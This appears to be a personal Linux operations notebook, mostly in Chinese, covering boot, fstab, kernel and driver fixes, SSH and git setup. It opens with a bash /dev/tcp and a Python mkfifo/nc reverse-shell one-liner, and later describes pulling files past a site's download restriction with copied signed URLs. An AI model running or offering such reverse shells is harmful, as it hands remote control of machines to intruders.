My ITOps Note

Reverse Shell

  • 受控机器上执行bash -i /dev/tcp/IP/PORT 0<&1 (最后改为0>&1也ok),入侵者机器提前打开listen socket,可以实现reverse shell
  • eval("__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc localhost 8000 > /tmp/f')")(python代码)也可以

SIGINT的SIG_DEF

  • 默认的handler会输出一个换行。
  • 代码

    1
    2
    3
    4
    5
    #include <unistd.h>
    int main()
    {
    sleep(10);
    }
  • 如果不kill -2 a.out则不会输出一个空行,如果kill则会

boot过程

  • 究竟是否有使用 /dev/sda 第一个sector,还是说uefi中我选择deepin 的boot loader那么直接就去sda12读取第一个sector
  • 我在grub命令行环境可以很好的读取各个分区的东西,那么为什么还需要initrd /boot/initrd.img-4.9.0-deepin13-amd64。(我甚至可以在这条命令前去加载一个ntfs的module)。
  • 既然boot loader 可以加载/boot/目录中的vmlinuz、initrd,那么为什么还需要kernel 加载sata驱动来加载文件呢
  • 关于initrd

    The special file /dev/initrd is a read-only block device. This device is a RAM disk that is initialized (e.g., loaded) by the boot loader before the kernel is started. The kernel then can use /dev/initrd’s contents for a two-phase system boot-up. In the first boot-up phase, the kernel starts up and mounts an initial root filesystem from the contents of /dev/initrd (e.g., RAM disk initialized by the boot loader). In the second phase, additional drivers or other modules are loaded from the initial root device’s contents. After loading the additional modules, a new root filesystem (i.e., the normal root filesystem) is mounted from a different device.
    Boot-up operation
    When booting up with initrd, the system boots as follows:

    1. The boot loader loads the kernel program and /dev/initrd’s contents into memory.
    2. On kernel startup, the kernel uncompresses and copies the contents of the device /dev/initrd onto device /dev/ram0 and then frees the memory used
      by /dev/initrd.
    3. The kernel then read-write mounts the device /dev/ram0 as the initial root filesystem.
    4. If the indicated normal root filesystem is also the initial root filesystem (e.g., /dev/ram0) then the kernel skips to the last step for the
      usual boot sequence.
    5. If the executable file /linuxrc is present in the initial root filesystem, /linuxrc is executed with UID 0. (The file /linuxrc must have exe‐
      cutable permission. The file /linuxrc can be any valid executable, including a shell script.)
    6. If /linuxrc is not executed or when /linuxrc terminates, the normal root filesystem is mounted. (If /linuxrc exits with any filesystems mounted
      on the initial root filesystem, then the behavior of the kernel is UNSPECIFIED. See the NOTES section for the current kernel behavior.)
    7. If the normal root filesystem has a directory /initrd, the device /dev/ram0 is moved from / to /initrd. Otherwise, if the directory /initrd does
      not exist, the device /dev/ram0 is unmounted. (When moved from / to /initrd, /dev/ram0 is not unmounted and therefore processes can remain run‐
      ning from /dev/ram0. If directory /initrd does not exist on the normal root filesystem and any processes remain running from /dev/ram0 when
      /linuxrc exits, the behavior of the kernel is UNSPECIFIED. See the NOTES section for the current kernel behavior.)
    8. The usual boot sequence (e.g., invocation of /sbin/init) is performed on the normal root filesystem.

tab补全失效

  • when press tab to 补全, there is bash: 无法为立即文档创建临时文件: 权限不够
  • this is because of the /dev/sda9 is mounted on /tmp, umonut it repair this error

登录用户管理

  • usersw查看当前登录的用户

  • lsof -iTCP netstat -tunp查看当前的网络连接

  • 查看打开的端口

  • pkill -kill -t pts/1 踢掉pts/1

  • 编辑/etc/hosts.deny ,deny掉ip或ip段,保存立即生效?(至今仍然不知道是否有效,以及不知道通配符要怎么写,好像是 xx.xx.xx.表示xx.xx.xx.00/24子网)

    格式如下(其实不是非常确定以下是有用的)

    1
    2
    sshd:218.65.30.43:deny
    sshd:58.*.*.*:deny

是否没有listen的socket就无法被入侵?

wget使用

  • -r递归下载
  • -k把下载下来的连接修改为本地地址
  • -e robots=off不respectrobots.txt
  • 或者是 set the robots variable to ‘off’ in your .wgetrc.
  • --user-agent=""不添加user-agent头,如果不加上这个,有些网站会返回404

curl的使用

  • curl可以模拟post/get等行为,但是似乎没法递归下载

axel的使用

  • -n 100开100个线程
  • 好像还可以调整缓存,从而减少写入磁盘的次数

VirtualBox报错“kernel dirver not installed”

  • 复现:编译4.17内核(非稳定版,仓库也没有linux-header-4.17)并安装,安装过程中就报了一个有关virtualbox的错。后面跑这个内核时,virtualbox就提示“kernel driver not installed”,要求重新安装virtualbox-dkms,并运行modprobe vboxdrv
  • 在4.17内核尝试

    1
    2
    3
    4
    5
    sudo apt update
    sudo apt install virtualbox-dkms
    sudo apt install --reinstall linux-headers-4.15 virtualbox-dkms dkms
    sudo apt install --reinstall linux-headers-$(uname -r) virtualbox-dkms dkms
    ...

    都没有解决问题,更严重的,linux-header-4.17也没有

  • 切换到4.15内核没有解决问题。尝试了以上命令无果
  • 删除4.17内核(直接在/boot/运行rm *4.17* -r)后update-grub。然后重启到4.15.0-23-generic并执行

    1
    2
    3
    4
    sudo apt update
    sudo apt install --fix-missing
    sudo apt install --reinstall linux-headers-4.15 virtualbox-dkms dkms
    sudo modprobe vboxdrv

    解决问题

  • 题外话:删除内核时,dpkg --get-selections | grep linux 没有看到4.17相关的

删除内核

  • sudo apt-get remove linux-headers-4.4.0-22
  • /boot/目录下删除相关的东西

chmod

  • chmod -R 666 test(test is a directory)会导致文件夹里的东西不可读(ls、cd该文件夹都不行)
  • 给文件夹本身加上x——chmod 777 test就可以了——文件夹内的东西不需要有可执行权限,但是文件夹的权限要有x标志

内核模块加载

  • modprobe tcp_bbr加载tcp_bbr模块
  • 比如,echo "tcp_bbr">> /etc/modules-load.d/modules.conf即可实现启动自动加载该模块

ufw

  • 如果有一条规则允许任意from ip 连本机的某个端口,协议是udp,然后还有另一条规则是只允许某ip K连本机的任意端口,协议是tcp,那么用ip 为K的机子去连是连不上udp的,似乎是因为规则的强弱导致的覆盖

安装centos.md

联网

  • 参考资料

  • 修改/etc/sysconfig/network-scripts/ifcfg-eth0 (此处为网卡名对应的文件,比入enps0是ifcfg-enps0)

  • 改为

    1
    2
    3
    4
    5
    DEVICE=eth0
    HWADDR="00:22:19:09:4D:3C"
    NM_CONTROLLED=yes
    ONBOOT=yes # 默认是 no,我们要改成 yes
    BOOTPROTO=dhcp # 如果不是这个值也要修改
  • 重启network service

    • 方法一:service network restart
    • 方法二:/etc/init.d/network restart
  • vbox似乎默认有开nat,所以以上即可,qemu好像要自己配置nat

安装图形界面

  • 安装图形界面
    • yum groupinstall "X Window System"
    • yum install gnome-classic-session gnome-terminal nautilus-open-terminal control-center liberation-mono-fonts
    • unlink /etc/systemd/system/default.target
    • ln -sf /lib/systemd/system/graphical.target /etc/systemd/system/default.target

使用fstab自动挂载

Deepin

  • 以下是/etc/fstab的内容

  • Linux hzx-PC 4.9.0-deepin13-amd64 #1 SMP PREEMPT Deepin 4.9.57-1 (2017-10-19) x86_64 GNU/Linux正确工作

  • 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    # /dev/sda7
    UUID=1faa19b8-abfb-44db-b186-5a368498d42b / ext4 rw,relatime,data=ordered 0 1

    # /dev/sda1
    UUID=CCCB-BF68 /boot/efi vfat rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=ascii,shortname=mixed,utf8,errors=remount-ro 0 2

    # /dev/sda4
    UUID=0ca7110f-0b3c-4452-aace-5b3dd99456f3 none swap defaults 0 0

    # /dev/sda5
    # UUID=0CADCC32742391F2 /home/hzx/sda5 ntfs defaults 0 1
    UUID=0CADCC32742391F2 /mnt/data ntfs defaults 1 2

    # /dev/sda2 /run/media/wuxu/Windows ntfs defaults 1 2
    # /dev/sda2 /run/media/wuxu/bin ntfs defaults 1 2

    # /dev/sda6
    # UUID=2A3C344750F6F698 /home/hzx/sda6 ntfs defaults 0 1
    UUID=2A3C344750F6F698 /mnt/software ntfs defaults 1 2

    # /dev/sda3
    # UUID=9bb0bb13-a28a-48a4-8022-6e83dcec47aa /home/hzx/sda3 ext4 defaults 0 1
    UUID=9bb0bb13-a28a-48a4-8022-6e83dcec47aa /mnt/deepin-sda3 ext4 defaults 1 2
  • 然而并没有一直正常,后来修改了一次挂载点后,就一直崩,无论是把defaults换成nofail还是相反,都没用

  • 后来多启动几次就好了,,可能是类似多进程执行顺序之类的东西导致的不确定性错误

Ubuntu

  • 一切正常

  • 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    # /etc/fstab: static file system information.
    #
    # Use 'blkid' to print the universally unique identifier for a
    # device; this may be used with UUID= as a more robust way to name devices
    # that works even if disks are added and removed. See fstab(5).
    #
    # <file system> <mount point> <type> <options> <dump> <pass>
    # / was on /dev/sda8 during installation
    UUID=3ae3faef-8fe6-42ef-8874-a0417df43831 / ext4 errors=remount-ro 0 1
    # /boot/efi was on /dev/sda1 during installation
    UUID=CCCB-BF68 /boot/efi vfat umask=0077 0 1
    # swap was on /dev/sda4 during installation
    UUID=0ca7110f-0b3c-4452-aace-5b3dd99456f3 none swap sw 0 0
    # /dev/sda5
    # UUID=0CADCC32742391F2 /home/hzx/sda5 ntfs defaults 0 1
    UUID=0CADCC32742391F2 /media/hzx/0CADCC32742391F2 ntfs nofail 1 2
    # /dev/sda2 /run/media/wuxu/Windows ntfs defaults 1 2
    # /dev/sda2 /run/media/wuxu/bin ntfs defaults 1 2

    # /dev/sda6
    # UUID=2A3C344750F6F698 /home/hzx/sda6 ntfs defaults 0 1
    UUID=2A3C344750F6F698 /media/hzx/2A3C344750F6F698 ntfs nofail 1 2

    # /dev/sda9
    UUID=202D1B334927E0CC /media/hzx/202D1B334927E0CC ntfs nofail 1 2

    # /dev/sda3
    # UUID=9bb0bb13-a28a-48a4-8022-6e83dcec47aa /home/hzx/sda3 ext4 defaults 0 1
    UUID=9bb0bb13-a28a-48a4-8022-6e83dcec47aa /media/hzx/9bb0bb13-a28a-48a4-8022-6e83dcec47aa ext4 nofail 1 2

mkfs.vfat了sda2那个efi分区结果deepin启动不了

  • 情况是这样的:往sda2装grub后总是失败,然后deepin自己的boot分区虽然也有grub,也有grub.cfg但是也一直必须手动引导。然后把sda2格式化后不知道为什么deepin无法启动。
  • 放弃,新装一个deepin 15.6,然后就会自动安装引导。
  • 搞定后,进原来那个deepin15.5还是失败,查看journalctl -xb,发现有个设备无法加载还是怎样的,然后想到以前该fstab也这样,所以比对错误信息和fstab,果然如此。
  • 原因是swap分区的uuid改了,并且也从sda4变成sda5,然而并没有去新建分区什么的,只有格式化sda2。
  • 后来猜测之所以装不上grub可能是sda2太小,只有100M,deepin提示说至少要300M

编译内核.md

无openssl/bio.h

编译Linux-4.9.11内核时遇到:“error : openssl/bio.h :No such file or folder”

“ #include <openssl/bio.h>”

<<<------------------------------------>>>

解决方法: [ubuntu 16.10,64位主机]

sudo apt install libssl-dev

记一次尝试下载 不允许下载的sinacloud的pdf

  • 获得页面源代码

  • 在html搜索字符串next从而定位到逻辑代码

  • 然后看到后面一堆JavaScript:void(0),发现前面有个函数,但是页面内一堆引用外部的js脚本

  • 然后去chrome控制台使用以下代码

    1
    2
    3
    4
    5
    6
    setTimeout(function() {
    var script = document.createElement('script');
    script.type = 'text/javascript';
    script.innerHTML = "console.log(closePay)"//括号内是要获得的函数名称;
    document.head.appendChild(script);
    }, 1000);
  • 然后等chrome显示出来后,点击显示出来的东西可以跳转到source code那里。从而最终定位到该函数所在的脚本,但是苦于代码过度,审计失败

  • 直接wget那些url得到的是206,但是wget一直停不下来,尝试用axel开20个线程下载,但是每次下来的都是13.9m大小的东西,然后还打不开(除了其中一页图片)

  • 查看chrome控制台的network模块,发现图片都没那么大,所以尝试右键copy request head发现并没有特别的,所以不知道为什么wget和axel没成功,copy curl后发现似乎是一个curl命令,加上-o参数后成功下载,curl即使不加上请求头,也可以正常获得东西,nice

附录

1
2
3
4
5
6
7
8
9
10
11
12
13
//request head
http://sinacloud.net/swf.ishared/5O0d4lu5e1.jpg?Expires=1523242733&KID=sina%2CSAE0000000W1W2NYLKW2&ssig=K74aTt3a0F&range=6020439-6389345
GET /swf.ishared/5O0d4lu5e1.jpg?Expires=1523242733&KID=sina%2CSAE0000000W1W2NYLKW2&ssig=K74aTt3a0F&range=6020439-6389345 HTTP/1.1
Host: sinacloud.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8

//从chrome复制的curl命令
curl 'http://sinacloud.net/swf.ishared/5O0d4lu5e1.jpg?Expires=1523242733&KID=sina%2CSAE0000000W1W2NYLKW2&ssig=K74aTt3a0F&range=3259947-3560373' -H 'Accept: image/webp,image/apng,image/*,*/*;q=0.8' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en,zh;q=0.9,zh-CN;q=0.8' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36' --compressed

查找并删除特定文件.md

来源
linux命令每日一练
linux中find与rm实现查找并删除目录或文件

linux 下用find命令查找文件,rm命令删除文件。

删除指定目录下指定文件
find 要查找的目录名 -name .svn |xargs rm -rf

删除指定名称的文件或文件夹: find -type d | grep .svn$ | xargs rm -r

分析:
find -type d | grep .svn$ 通过此命令查找文件夹 过滤正则表达式中的目录
| xargs rm -r 执行删除指令

删除目录下所有exe文件

find . -name ‘*.exe’ -type f -print -exec rm -rf {} ;

(1) “.” 表示从当前目录开始递归查找

(2) “ -name ‘*.exe’ “根据名称来查找,要查找所有以.exe结尾的文件夹或者文件

(3) “ -type f “查找的类型为文件

(4) “-print” 输出查找的文件目录名

(5) 最主要的是是-exec了,-exec选项后边跟着一个所要执行的命令,表示将find出来的文件或目录执行该命令。
exec选项后面跟随着所要执行的命令或脚本,然后是一对儿{},一个空格和一个,最后是一个分号

VPS上部署hexo

  • 参考文章

  • 遇到nginx 403,然后就关闭selinux

    1、临时关闭
    setenforce 0 #设置SELinux 成为permissive模式

    setenforce 1 设置SELinux 成为enforcing模式

    2、修改配置文件需要重启机器:

    修改/etc/selinux/config 文件

    将SELINUX=enforcing改为SELINUX=disabled

    重启机器即可

搭建ss服务器

  • vps开了进程
  • 本地主机也如此
  • 但是提示[Errno 113] No route to host
  • 实在搞不明白——22端口可以用scp发文件过去vps
  • 所以用py写了个tcpclient、tcpserver,然后一运行也如此提示
  • 所以在vps运行service firewalld stop
  • 其他关闭服务器防火墙的方法都不起作用,不知道问什么

VLC字幕

链接

vbox的win7虚拟机无法使用usb

  • 引用自
  • 安装Virtualbox Extension Pack
  • 用户权限添加
    • 添加usbfs 用户组(virtualbox 装完成后会有 vboxusers 和vboxsf )sudo groupadd usbfs
    • 将你的linux常用用户添加到vboxusers、usbfs这个两个组中sudo adduser kuein vboxusers sudo adduser kuein usbfs
    • 重启电脑,启动Virtualbox,确认在virtualbox管理器中,USB设备的enable usb controler 、enable usb2.0 controler打勾。Win7启动后,右击右下角USB设备符号,在Setting中,选择USB Massage相关的选项,就会自动安装驱动,驱动安装成功后,win7下成功挂载U盘。

Gnome-configure.md

hide title bar

no-title-bar-extention

SSH.md

生成秘钥

  • 本地用ssh-keygen生成一个秘钥——可以自定义储存的文件名
  • id_rsa.pub传送到vps上,cat id_rsa.pug > ~/.ssh/authorized_keys,注意,这个命令会覆盖原有的authorized_keys内容

本地配置VPS别名

  • 代码

    1
    2
    3
    4
    5
    6
    7
    8
    cat >> ~/.ssh/config <<EOF
    Host VultrVPS
    User root
    Hostname 217.163.11.0
    PreferredAuthentications publickey
    IdentityFile ~/.ssh/VultrVPS_rsa
    Port 22
    EOF
  • 以上可实现使用秘钥 ,多个VPS可以依次增加配置

Linux安装.md

硬盘安装deepin

将如下grub菜单放到/boot/grub/grub.cfg的menuentry菜单处/deepin-15.5-amd64.iso是deepin的镜像文件完整路径,可以自由地放在linux或windows分区中,区分大小写

1
2
3
4
5
6
7
8
menuentry "UEFI Deepin 15.4 Linux ISO live" --class deepin --class gnu-linux --class gnu --class os{
echo 'booting...'
set isofile=/deepin-15.5-amd64.iso
search --file $isofile --set=root
loopback loop $isofile
linux (loop)/live/vmlinuz.efi findiso=$isofile noprompt quiet boot=live ro deepin-installer locales=zh_CN.UTF-8 keyboard-configuration/layoutcode=us keyboard-configuration/variantcode= -- rootflags=sync
initrd (loop)/live/initrd.lz
}

刻录U盘安装Fedora或Centos

  • win下使用PowerISO刻录
  • 使用简单的dd命令dd if=xxx of=xxx bs=xx失败
  • 使用Ultraiso失败

U盘grub引导多个linux镜像安装

OSC提供的代码make不过

1
2
3
4
5
6
7
8
9
10
11
12
13
source code 9th/final-src-osc9e/ch2 
➜ make
make -C /lib/modules/4.9.0-deepin13-amd64/build M=/home/hzx/Program/source code 9th/final-src-osc9e/ch2 modules
make[1]: Entering directory '/usr/src/linux-headers-4.9.0-deepin13-amd64'
arch/x86/Makefile:140: CONFIG_X86_X32 enabled but no binutils support
make[3]: *** No rule to make target 'code'. Stop.
Makefile:150: recipe for target 'sub-make' failed
make[2]: *** [sub-make] Error 2
Makefile:8: recipe for target 'all' failed
make[1]: *** [all] Error 2
make[1]: Leaving directory '/usr/src/linux-headers-4.9.0-deepin13-amd64'
Makefile:3: recipe for target 'all' failed
make: *** [all] Error 2

解决方法,把source code 9th这个文件名的空格去掉

vim dos unix

  • 如果某文本文件的行末都有0d0a,则vim直接打开识别为dos。如果是vim -b 打开,识别为unix。如果最后一行不是0d0a,其他行是,不识别为dos。

删除文件名以-开头的文件

  • 比如删除-arm -- -a

文件的change,modification时间

  • 以下来自于实验:change是修改属性,比如touch -d 1111 filename,modification是修改内容

ctags 注意事项

  • 如果某文件打开后编辑过,可能ctags打的tag就失效了(比如行号不对),所以跳转无效

watch命令

  • watch -n 0.1 ./a.owatch ./a.o -n 0.1的区别是前者-n 0.1是watch的参数,后者是./a.o的参数

修复light display manger失败

  • 通过启动时的错误信息,还有single模式中,service lightdm start后的错误信息(systemctl service )可以知道light display manager启动失败
  • 搜到的都说重新安装dde,但是需要网络,而single-user mode 是没有网络的。然后其他模式又没搜到要怎么进去,到是grub图形界面有提供一个带网络的recovery模式,不过我没有grub图形界面
  • 就搜了搜在single模式联网——按照定义,single模式是没有网络的。然后联网后install dde,中途flatpak提示desktopRecord.service不存在,然后错误处理ctrl-c了dde的安装过程。然后后来按照dde的安装信息提示安装其他组件console-setup,然后使用sudo apt-get install –reinstall dde修复了dde的安装(apt -f在这里是没用的)
  • 不知道为什么中途提示proxychain 的配置文件修改了
  • 本来想着要是没网,就下个lightdm 来安装,结果没有binary的文件,装不了。
  • 后来安装好dde后startx老是说成功退出——没有任何报错信息,都是成功,连退出都是成功退出,但是就是不符合我的预期

查看glibc版本

  • ldd --version
  • getconf GNU_LIBC_VERSION

shell使用|时的SIGPIPE

  • 比如proc_1 | proc_2,如果第二个进程关闭,第一个就会管道破裂,如果没有处理就会die

安装nvidia驱动

  • 在nvidia官网下程序
  • telinit 3关掉X server(或者是systemctl stop lightdm.service)
  • 安装过程中需要编译内核模块,编译时使用的gcc版本要与编译内核的gcc版本一致

    1
    2
    $ cat /proc/version
    Linux version 4.15.0-29deepin-generic (pbuilder@zs-PC) (gcc version 7.3.0 (Debian 7.3.0-19)) #31 SMP Fri Jul 27 07:12:08 UTC 2018
  • 安装时,如果有驱动占用了gpu,那么会失败,在/etc/modprobe.d/加一个文件(命名为*.conf

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    blacklist nouveau
    blacklist rivafb
    blacklist rivatv
    blacklist nvidiafb

    # 下面这几条应该可以不用,我不加也成功
    options nouveau modeset=0
    options rivafb modeset=0
    options rivatv modeset=0
    options nvidiafb modeset=0
  • 安装过程中我一开始选使用dkms,但是失败,后来没选,也失败了几次,所以不清楚dkms的情况

  • 安装后要运行nvidia-xconfig配置/etc/X11/xorg.conf,或者自己手动配置(然而我这里一直失败,一加相关的东西就启动卡住,而且也没有报错信息——我们又看其他信息,不知道其他信息有没有提示)
  • 然而。事情没那么简单,我装了nvidia驱动后,deepin-wm cpu占用率飙升,nvidia-smi看不到使用gpu的进程,gg。没办法,卸了驱动,删了blacklist
  • 后来发现deepin有个gpu driver manager,运行后,跑了很久,重启后还跑了很久,还看到一堆error,然后还开一个渲染画面让我看看渲染得咋样,然后后来启动成功,nvidia-smi也看到有deepin-wm的进程跑在gpu上,deepin-wm的cpu占用率也没有飙升,还行

Tilix dont inherit the directory

sogouPinyin候选框异常解决方法

  • 其实也不算解决,我在配置文件里把所有能关掉skin的选项都关了,sougou还是不使用fcitx的skin,删了~/.config下面的sogou相关配置文件也没用
  • 后来发现,如果有其他输入法一起,然后切换过其他输入法,sogoupinyin的皮肤就跟那个输入法的一样(也不知道是不是一样,我的fcitx不能切换皮肤,所有只有一个皮肤)

cache的详细信息(包括相联度,电压等)

  • sudo dmidecode -t 7
  • getconf -a | grep CACHE

设置默认浏览器

  • xdg-settings set default-web-browser chrome.desktop
  • xdg-settings get default-web-browser获取值
  • 关于desktop文件的Exec段中的后缀,doc

    %i The Icon key of the desktop entry expanded as two arguments, first –icon and then the value of the Icon key. Should not expand to any arguments if the Icon key is empty or missing.
    %c The translated name of the application as listed in the appropriate Name key in the desktop entry.
    %k The location of the desktop file as either a URI (if for example gotten from the vfolder system) or a local filename or empty if no location is known.
    %f A single file name (including the path), even if multiple files are selected. The system reading the desktop entry should recognize that the program in question cannot handle multiple file arguments, and it should should probably spawn and execute multiple copies of a program for each selected file if the program is not able to handle additional file arguments. If files are not on the local file system (i.e. are on HTTP or FTP locations), the files will be copied to the local file system and %f will be expanded to point at the temporary file. Used for programs that do not understand the URL syntax.
    %F A list of files. Use for apps that can open several local files at once. Each file is passed as a separate argument to the executable program.
    %u A single URL. Local files may either be passed as file: URLs or as file path.
    %U A list of URLs. Each URL is passed as a separate argument to the executable program. Local files may either be passed as file: URLs or as file path.

github账户有设置ssh但是仓库push还是要用户密码的解决方法

  • 这是因为remote add时使用的是https,而不是ssh
  • git remote -v可以看到是https链接
  • git remote set-url origin git@github.com:USERNAME/REPOSITORY.git改为ssh
  • 参考